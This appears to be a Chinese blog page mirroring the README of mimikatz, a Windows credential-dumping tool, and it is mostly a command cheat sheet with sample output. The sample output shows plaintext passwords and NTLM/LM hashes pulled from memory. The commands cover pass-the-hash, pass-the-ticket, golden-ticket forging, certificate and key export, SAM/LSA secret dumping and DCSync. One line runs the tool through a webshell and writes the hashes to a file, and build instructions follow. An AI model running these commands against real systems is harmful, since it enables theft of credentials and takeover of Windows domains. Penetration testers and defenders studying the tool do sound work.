zoukankan      html  css  js  c++  java
  • mimikatz使用教程

    It's now well known to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets.

      .#####.   mimikatz 2.0 alpha (x86) release "Kiwi en C" (Apr  6 2014 22:02:03)
     .## ^ ##.
     ## /  ##  /* * *
     ##  / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
     '## v ##'   https://blog.gentilkiwi.com/mimikatz             (oe.eo)
      '#####'                                    with  13 modules * * */
    ​
    ​
    mimikatz # privilege::debug
    Privilege '20' OK
     
    mimikatz # sekurlsa::logonpasswords
     
    Authentication Id : 0 ; 515764 (00000000:0007deb4)
    Session           : Interactive from 2
    User Name         : Gentil Kiwi
    Domain            : vm-w7-ult-x
    SID               : S-1-5-21-1982681256-1210654043-1600862990-1000
            msv :
             [00000003] Primary
             * Username : Gentil Kiwi
             * Domain   : vm-w7-ult-x
             * LM       : d0e9aee149655a6075e4540af1f22d3b
             * NTLM     : cc36cf7a8514893efccd332446158b1a
             * SHA1     : a299912f3dc7cf0023aef8e4361abfc03e9a8c30
            tspkg :
             * Username : Gentil Kiwi
             * Domain   : vm-w7-ult-x
             * Password : waza1234/
    ...

    But that's not all! Crypto, Terminal Server, Events, ... lots of informations in the GitHub Wiki https://github.com/gentilkiwi/mimikatz/wiki or on https://blog.gentilkiwi.com (in French, yes).

    If you don't want to build it, binaries are availables on https://github.com/gentilkiwi/mimikatz/releases

    Quick usage

    log
    privilege::debug

     

    sekurlsa

    sekurlsa::logonpasswords
    sekurlsa::tickets /export
    ​
    sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd

     

    kerberos

    kerberos::list /export
    kerberos::ptt c:chocolate.kirbi
    ​
    kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi

     

    crypto

    crypto::capi
    crypto::cng
    ​
    crypto::certificates /export
    crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE
    ​
    crypto::keys /export
    crypto::keys /machine /export

     

    vault & lsadump

    vault::cred
    vault::list
    ​
    token::elevate
    vault::cred
    vault::list
    lsadump::sam
    lsadump::secrets
    lsadump::cache
    token::revert
    ​
    lsadump::dcsync /user:domainkrbtgt /domain:lab.local

     

    Running on webshell

    mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"  "exit"> hash.txt
    type hash.txt

     

    Build

    mimikatz is in the form of a Visual Studio Solution and a WinDDK driver (optional for main operations), so prerequisites are:

    mimikatz uses SVN for source control, but is now available with GIT too! You can use any tools you want to sync, even incorporated GIT in Visual Studio 2013 =)

    Synchronize!

    Build the solution

    • After opening the solution, Build / Build Solution (you can change architecture)

    • mimikatz is now built and ready to be used! (Win32 / x64 even ARM64 if you're lucky)

      • you can have error MSB3073 about _build_.cmd and mimidrv, it's because the driver cannot be build without Windows Driver Kit 7.1 (WinDDK), but mimikatz and mimilib are OK.

    ddk2003

    With this optional MSBuild platform, you can use the WinDDK build tools, and the default msvcrt runtime (smaller binaries, no dependencies)

    For this optional platform, Windows Driver Kit 7.1 (WinDDK) - http://www.microsoft.com/download/details.aspx?id=11800 and Visual Studio 2010 are mandatory, even if you plan to use Visual Studio 2012 or 2013 after.

    Follow instructions:

    Licence

    CC BY 4.0 licence - https://creativecommons.org/licenses/by/4.0/

    mimikatz needs coffee to be developed:

    Author

    • Benjamin DELPY gentilkiwi, you can contact me on Twitter ( @gentilkiwi ) or by mail ( benjamin [at] gentilkiwi.com )

    • DCSync and DCShadow functions in lsadump module were co-writed with Vincent LE TOUX, you can contact him by mail ( vincent.letoux [at] gmail.com ) or visit his website ( http://www.mysmartlogon.com )

    This is a personal development, please respect its philosophy and don't use it for bad things!

  • 相关阅读:
    DHCP Option 60 的理解
    程序中的魔鬼数字
    开源GUI-Microwindows之程序入口分析
    http报错之return error code:401 unauthorized
    内存泄漏以及常见的解决方法
    怎样对ListView的项进行排序
    getline函数
    JavaFx初探
    ListBox控件的操作与实现
    SQLite的SQL语法
  • 原文地址:https://www.cnblogs.com/miruier/p/14719330.html
Copyright © 2011-2022 走看看